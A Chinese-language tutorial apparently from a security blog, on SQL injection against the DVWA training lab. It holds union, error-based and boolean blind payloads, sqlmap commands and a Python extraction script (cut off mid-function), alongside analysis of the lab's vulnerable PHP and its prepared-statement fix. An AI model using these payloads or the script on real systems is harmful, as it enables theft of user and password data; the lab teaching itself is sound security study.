网络安全-靶机dvwa之sql注入Low到High详解(含代码分析)

目录

SQL Injection-LOW

Union注入

注入点判断

字段判断

获取数据库名

获取表名

获取列名

获取数据

Error注入

获取表名

获取列名

获取数据

源码解析

主要步骤

漏洞原因

SQL Injection-MIDIUM

Union

注入点判断

获取表名

 Error注入

源码分析

步骤

漏洞原因

SQL Injection-HIGH

Union注入

注入点检测

 字段判断

获取表名

Error注入

源码解析

主要步骤

漏洞原因

SQL Injection(Blind)-LOW

Boolean盲注

获取数据库名

sqlmap

 获取数据库名

获取表名

获取列名

获取数据

源码解析

主要步骤

漏洞原因

SQL Injection(Blind)-MIDIUM

Boolean盲注

手工

sqlmap

源码解析

主要步骤

漏洞原因

SQL Injection(Blind)-HIGH

手工注入

sqlmap

源码分析

主要步骤

漏洞原因

IMPOSSIBLE

非盲注

主要步骤

安全原因

盲注

medium级别 Error注入 和 Boolean盲注脚本

 


本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的SQL Injection、SQL Injection(Blind)的LOW、MIDIUM、HIGH安全级别使用网络安全-SQL注入原理及防御SQL注入中提到的SQL注入技术,利用网络安全-Mysql注入知识点中提到的数据库函数,使用手工/sqlmap进行sql注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。对于非盲注使用UNION注入、ERROR注入、对于盲注,使用BOOLEAN注入和sqlmap,TIME注入耗时太久,没有采用。

目标:获取用户名等感兴趣的信息

SQL Injection-LOW

正常提交payload为1

正常页面

Union注入

注入点判断

1 and 1=1#
返回正常
1 and 1=2#
返回正常

 

 结论:不是数字型注入。

1' and 1=1#
返回正常
1' and 1=2#

没有结果返回

页面异常

结论:字符型注入,单引号闭合

sql语句猜测

First name即回显的First name在数据库中对应的字段,Surname同理

假设表名为users,User ID 对应的字段为id

select First name,Surname from users where id = 'User ID'

字段判断

猜测是2个字段,直接从2开始。

1' order by 2#
返回正常

 再递增

1' order by 3#

返回异常

异常页面

 结论:猜测正确,字段为2

获取数据库名

1' UNION SELECT 1,database() from information_schema.schemata#
数据库名

 结论:数据库名 dvwa

获取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
表名

结论:有两个表 guestbook、users

获取列名

假设仅对users表感兴趣,其他表只需要把下面的users改为其他即可。

1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#
列名

结论:共8列,user_id、first_name、last_name、user、password、avatar、last_login、failed_login

获取数据

假设:first_name、last_name已返回,我们对user和avatar感兴趣。对其他的感兴趣下面就缓存其他列。

为了避免分不清各个数据,使用":",即0x3a进行分隔。

1' UNION SELECT 1,group_concat(user,0x3a,avatar) from users#
数据

user:admin对应的avatar:/dvwa/hackable/users/admin.jpg,以此类推。

Error注入

注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。

获取表名

0x7e是~,这样报错的结果就是~sql语句运行结果~。

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
第一张表

同理,获取第二张表只需将上面payload改为limit 1,1即可,不再赘述。

获取列名

1' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
第一个列名

 同理,获取第二列只需将上面payload改为limit 1,1即可,其余列继续增加,不再赘述。

获取数据

1' and updatexml(1,concat(0x7e,(SELECT group_concat(user,0x3a,avatar) from users limit 0,1),0x7e),1)#
第一条数据

同理,获取第二条数据只需将上面payload改为limit 1,1即可,其余数据继续增加,不再赘述。

源码解析

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

主要步骤

  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句query
  • 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
  • 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
  • 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有进行敏感字符过滤

SQL Injection-MIDIUM

正常页面

url上没有参数,是post方式,下拉框进行选择,只能抓包了。

Union

注入点判断

payload和LOW级别的Union注入一样,不再赘述,有问题下方评论。

正常
异常

结论:数字型,无需闭合

字段判断、获取数据库与LOW一致,不必闭合,由在客户端提交,改为在burpsuite中提交。

例如,数据库判断,其他类似,不再赘述。

id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit
数据库

获取表名

1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#
'被转义

发现单引号被转义

工具BEJSON,进行字符转16进制,注意,工具没有加0x,需要自行添加。

dvwa转16进制
1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#

即'dvwa'转为16进制的dvwa 0x64767761

16进制绕过

 后序步骤类似,将字符转为16进制即可。

 Error注入

通过上面的Union注入可知,相对于LOW而言,不必闭合,由在客户端提交,改为在burpsuite中提交。

例如,获取表名:

id=1 and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#&Submit=Submit
获取第一张表

后序步骤与LOW级别类似,遇到单引号时,即需要填写表名时通过16进制进行绕过,不再赘述,有问题下方评论。

源码分析

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

步骤

  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
  • 利用用户数据拼接成sql语句query
  • 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
  • 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
  • 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功过滤了',属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。

SQL Injection-HIGH

正常页面

点击按钮弹出窗口,然后再填写数据。

Union注入

注入点检测

1' and 1=1#
正常
1' 1=2#

 

异常

结论:字符型注入,需要闭合,闭合字符为 ' ,当然,在这之前我也尝试了数字型,为了避免文章篇幅过长,不再赘述。

 字段判断

1'order by 2#
字段为2没问题
1' order by 3
异常

不是数据库的出错提示,估计是使用了or die函数进行的自定义提示,这样的话估计不能使用Error注入。

 结论:字段为2

获取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#
表名

这...不做了,除了弹个框,和LOW级别的payload一样啊,感觉没有加什么,我以为会有些过滤,需要绕过的。。。不再赘述了。

Error注入

注入点判断、字段判断和Union注入一样。当前数据库就不写了,用database()函数代替。使用updatexml()函数进行错误注入。

1' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
失败

果然,不能使用Error注入,应该是使用了or die函数。接下来看源代码吧。

源码解析

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

主要步骤

  • isset检测Session中的id变量是否已设置并且非 NULL
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句query,id当做字符串
  • 使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
  • 使用mysqli_fetch_assoc函数获取结果集的一行给变量row
  • 使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式

SQL Injection(Blind)-LOW

正常提交,payload为1

正常返回

没有回显,采用盲注

Boolean盲注

注入点判断、字段判断和Union注入一样。

获取数据库名

先获取长度

1' and length(database())>3#
正确
1' and length(database())>4#
错误

 结论:数据库名长度>3但不>4,即数据库长度为4

依次判断4个字符

1' and substr(database(),1,1)='a'#
错误

 第一个字符不是a,上图的url是进行了编码,网上找了个工具,进行了解码,可以看出就是上面的payload

解码

替换为字符d

1' and substr(database(),1,1)='d'#

字符d时返回正确。

正确

其余的类似,不再赘述。 实际上做时,会写脚本或使用sqlmap,不然工作量太大,写脚本也不会按照ASCII表去一个个的尝试,可以先判断字符是不是字母,然后再二分查找之类的。

接下来使用sqlmap进行展示,有关sqlmap的知识可以查看:网络安全-sqlmap学习笔记

sqlmap

先获取cookie备用,按F12,控制台输入 document.cookie

cookie
"security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5"

 获取数据库名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" --current-db --technique=B -v 3 --batch
获取数据库名

还是脚本快,1秒解决。sqlmap使用的是mid函数,和substr一样,可以查看网络安全-Mysql注入知识点

结论:数据库名 dvwa

获取表名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa --tables --technique=B -v 3 --batch
获取数据库名

结论:dvwa数据库有2个表,guestbook、users

获取列名

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users --columns --technique=B -v 3 --batch
获取所有列

结论:见上图,不手打了。

获取数据

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=edmjp0mcoqrpjp0du349p1a4o5" -D dvwa -T users -C user,password,avatar --technique=B -v 3 --dump --batch
获取数据

还有个csv,里面和cmd窗口显示的一致。

源码解析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

主要步骤

  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句getid
  • 使用mysqli_query函数执行sql语句并返回结果给result,删除“or die”来抑制mysql错误
  • 使用@mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
  • 若num>0,输出“User ID exists in the database.”,否则输出”User ID is MISSING from the database.“

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有进行敏感字符过滤

SQL Injection(Blind)-MIDIUM

正常

和MIDDLE级别的非盲注一样,使用了下拉框,是post方式,另外,没有回显。

Boolean盲注

注入点判断,字段判断与非盲注一样

注入点是数字型的,不必闭合。

手工

payload与LOW级别的盲注的区别只是少了闭合字符'

以数据库长度为例

id=1 and length(database())>3#&Submit=Submit
数据库长度大于3
数据库长度大于4

数据库长度>3但不>4,即数据库长度为4。后续不再赘述,有问题请下方评论。

sqlmap

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium;csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy;PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2" --forms --current-db --technique=B -v 3 --batch
出错

 

不清楚原因

python sqlmap.py -r sqli_blind_midium.txt --technique=B -v 3 --current-db --batch

 

出错
-r参数官方文档

 

搞不定,可能sqlmap没学好吧,哪位大佬知道原因,请下方评论,十分感谢!!!这是抓到的包sqli_blind_midium.txt

POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
Cookie: security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2
Upgrade-Insecure-Requests: 1

id=1&Submit=Submit

源码解析

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

主要步骤

  • isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
  • 得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
  • 利用用户数据拼接成sql语句getid
  • 使用mysqli_query函数执行sql语句并返回结果给result,删除“or die”来抑制mysql错误
  • 使用@mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
  • 若num>0,输出“User ID exists in the database.”,否则输出”User ID is MISSING from the database.“

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。

SQL Injection(Blind)-HIGH

抓包

抓包过程和MIDIUM级别的一样,Proxy抓包,发送到Repeater,为什么粘贴出来呢?因为cookie里面有id,非盲注高级别的源码是从SESSION中得到id,估计这个是从COOKIE中,另外id进行了url编码。工具:站长URL编码/解码

手工注入

payload与LOW级别的盲注的区别只是在弹出的这个框框里面填写。

sqlmap

由于页面跳转,,防止了自动化sql注入,目前版本的sqlmap应该无法成功注入。

源码分析

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

主要步骤

  • isset检测COOKIE中的id变量是否已设置并且非 NULL
  • 得到用户提交的数据 id
  • 利用用户数据拼接成sql语句query,id当做字符串
  • 使用mysqli_query函数执行sql语句并返回结果给result,不使用or die来抑制mysql错误
  • 使用mysqli_num_rows函数获取结果集的数量给变量num,通过@来抑制mysql错误
  • 若num>0,输出“User ID exists in the database.”,否则睡眠一会,显示404。输出”User ID is MISSING from the database.“

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

想要利用COOKIE来增加安全系数,抓包可绕过。

IMPOSSIBLE

非盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

主要步骤

  • isset检测Subbmit变量是否已设置并且非 NULL,即判断是否点击了Submit进行提交。
  • 检查token
  • 得到用户提交的数据 id,并判断是否仅为数字
  • 预编译、绑定参数、执行sql语句
  • 判断结果是否为1行,使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

安全原因

进行了预编译,不再拼接sql语句,而是替换

检查了token

判断了数据类型是否仅为数字

判断了结果是否仅为1行

盲注

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在上面的基础上,去除了回显,更加安全。

-------------------------------2020.10.13更新--------------------------------

medium级别 Error注入 和 Boolean盲注脚本

dvwa.py

"""
--coding:utf-8--
@File: dvwa.py
@Author:frank yu
@DateTime: 2020.10.13 13:52
@Contact: frankyu112058@gmail.com
@Description:
"""
import requests

headers = {
    'Host': '127.0.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '18',
    'Origin': 'http://127.0.0.1',
    'Connection': 'close',
    'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli/',
    'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; '
              'PHPSESSID=geabfbdgj4h2683s7sc5urlhd6',
    'Upgrade-Insecure-Requests': '1',
}

headers_blind = {
    'Host': '127.0.0.1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '18',
    'Origin': 'http://127.0.0.1',
    'Connection': 'close',
    'Referer': 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/',
    'Cookie': 'security=medium; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=dl44r7ov1c3khuv4k3587vgsk2',
    'Upgrade-Insecure-Requests': '1',
}

url_not_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli/'

url_blind = 'http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'


def Post(url, headers, data):
    req = requests.post(url, headers=headers, data=data)
    return str(req.text)


def Get_tables():
    tables = []
    i = 0
    while True:
        uid = f'1 and updatexml(1, concat(0x7e, (SELECT table_name from information_schema.tables ' \
              f'where table_schema=database() limit {i}, 1), 0x7e), 1)# '
        # print(uid)
        db_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_not_blind, headers, db_payloads)
        if len(res.split('~')) < 2:
            break
        tables.append(res.split('~')[1])
        i += 1
    print('tables:', tables)
    return tables


def Get_columns(table):
    columns = []
    i = 0
    while True:
        uid = f'1 and updatexml(1, concat(0x7e, (SELECT column_name from information_schema.columns ' \
              f'where table_schema=database() and table_name={table} limit {i}, 1), 0x7e), 1)# '
        # print(uid)
        db_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_not_blind, headers, db_payloads)
        if len(res.split('~')) < 2:
            break
        columns.append(res.split('~')[1])
        i += 1
    print('columns:', columns)
    return columns


def Get_data(table, cols):
    datas = []
    c = ',0x3a,'.join([col for col in cols])
    i = 0
    while True:
        uid = f'1 and updatexml(1, concat(0x7e, (SELECT concat({c}) from {table} limit {i}, 1), 0x7e), 1)# '
        # print(uid)
        db_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_not_blind, headers, db_payloads)
        # print(res)
        if res.find('pre') == -1:
            break
        datas.append(res.split('~')[1])
        i += 1
    print('datas:', datas)
    return datas


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])


def Get_db_blind():
    # 长度
    length = 1
    while True:
        uid = f'1 and length(database())>{length}#'
        len_payloads = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_blind, headers_blind, len_payloads)
        if res.find('exists') == -1:
            break
        length += 1
    print('数据库长度:', length)
    db = ""
    i = 1
    while i <= length:
        for ascode in range(ord('a'), ord('z') + 1):
            uid = f'1 and ascii(substr(database(),{i},1))={ascode}# '
            # print(uid)
            db_payloads = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, db_payloads)
            if res.find('MISSING') == -1:
                # print(res)
                db = db + str(chr(ascode))
                break
        i += 1
        # print(f'{i}/{length} finished...')
    print('db:', db)
    return db


def Get_tables_blind():
    t_num = 1
    while True:
        uid = f'1 and (select count(table_name) from information_schema.tables where ' \
              f'table_schema=database())={t_num}#'
        tableNum_payload = {'id': uid, 'Submit': 'Submit'}
        # print(tableNum_payload)
        res = Post(url_blind, headers_blind, tableNum_payload)
        # print(res)
        if res.find('MISSING') == -1:
            break
        t_num += 1
    print(f'tableNum:{t_num}')
    tables = []
    t = 0
    # 所有表
    while t < t_num:
        table = ""
        t_len = 1
        # 表名长度
        while True:
            # 第t+1个表的长度
            uid = f'1 and length(substr((select table_name from information_schema.tables ' \
                  f'where table_schema=database() limit {t},1),1))={t_len}'
            tableLen_payload = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, tableLen_payload)
            if res.find('MISSING') == -1:
                break
            t_len += 1
        i = 1
        # 表名
        while i <= t_len:
            # 第t+1个表的表名
            for ascode in range(ord('a'), ord('z') + 1):
                # 第i个字符
                uid = f'1 and ascii(substr((select table_name from information_schema.tables ' \
                      f'where table_schema=database() limit {t},1),{i},1))={ascode}# '
                # print(uid)
                table_payloads = {'id': uid, 'Submit': 'Submit'}
                res = Post(url_blind, headers_blind, table_payloads)
                if res.find('MISSING') == -1:
                    # print(res)
                    table = table + str(chr(ascode))
                    break
            i += 1
        print('table:', table)
        # print(f'{t + 1}/{t_num} finished...')
        tables.append(table)
        t += 1
    return tables


def Get_columns_blind(table):
    columnNum = 1
    while True:
        uid = f'1 and (select count(column_name) from information_schema.columns' \
              f' where table_schema=database() and table_name={table})={columnNum}#'
        # print(uid)
        columnNum_payload = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_blind, headers_blind, columnNum_payload)
        # print(res)
        if res.find('MISSING') == -1:
            break
        columnNum += 1
    print(f'columnNum:{columnNum}')
    cols = []
    c = 0
    # 所有表
    while c < columnNum:
        col = ""
        c_len = 1
        # 列名长度
        while True:
            # 第t+1个表的长度
            uid = f'1 and length(substr((select column_name from information_schema.columns ' \
                  f'where table_schema=database() and table_name={table} limit {c},1),1))={c_len}#'
            # print(uid)
            columnLen_payload = {'id': uid, 'Submit': 'Submit'}
            res = Post(url_blind, headers_blind, columnLen_payload)
            if res.find('MISSING') == -1:
                break
            c_len += 1
        # print('columnLen:', c_len)
        i = 1
        # 列名
        while i <= c_len:
            # 第c+1个列的列名
            for ascode in range(ord('a'), ord('z') + 1):
                # 第i个字符
                uid = f'1 and ascii(substr((select column_name from information_schema.columns ' \
                      f'where table_schema=database() and table_name={table} limit {c},1),{i},1))={ascode}# '
                # print(uid)
                table_payloads = {'id': uid, 'Submit': 'Submit'}
                res = Post(url_blind, headers_blind, table_payloads)
                if res.find('MISSING') == -1:
                    # print(res)
                    col = col + str(chr(ascode))
                    break
            i += 1
        print('col:', col)
        # print(f'{c + 1}/{columnNum} finished...')
        cols.append(col)
        c += 1
    return cols


def Get_data_blind(table, col):
    # 猜测的数据字典
    data_guess = 'abcdefghijklmnopqrstuvwxyz1234567890/.'
    rowNum = 1
    while True:
        uid = f'1 and (select count(*) from {table})={rowNum}#'
        # print(uid)
        fieldNum_payload = {'id': uid, 'Submit': 'Submit'}
        res = Post(url_blind, headers_blind, fieldNum_payload)
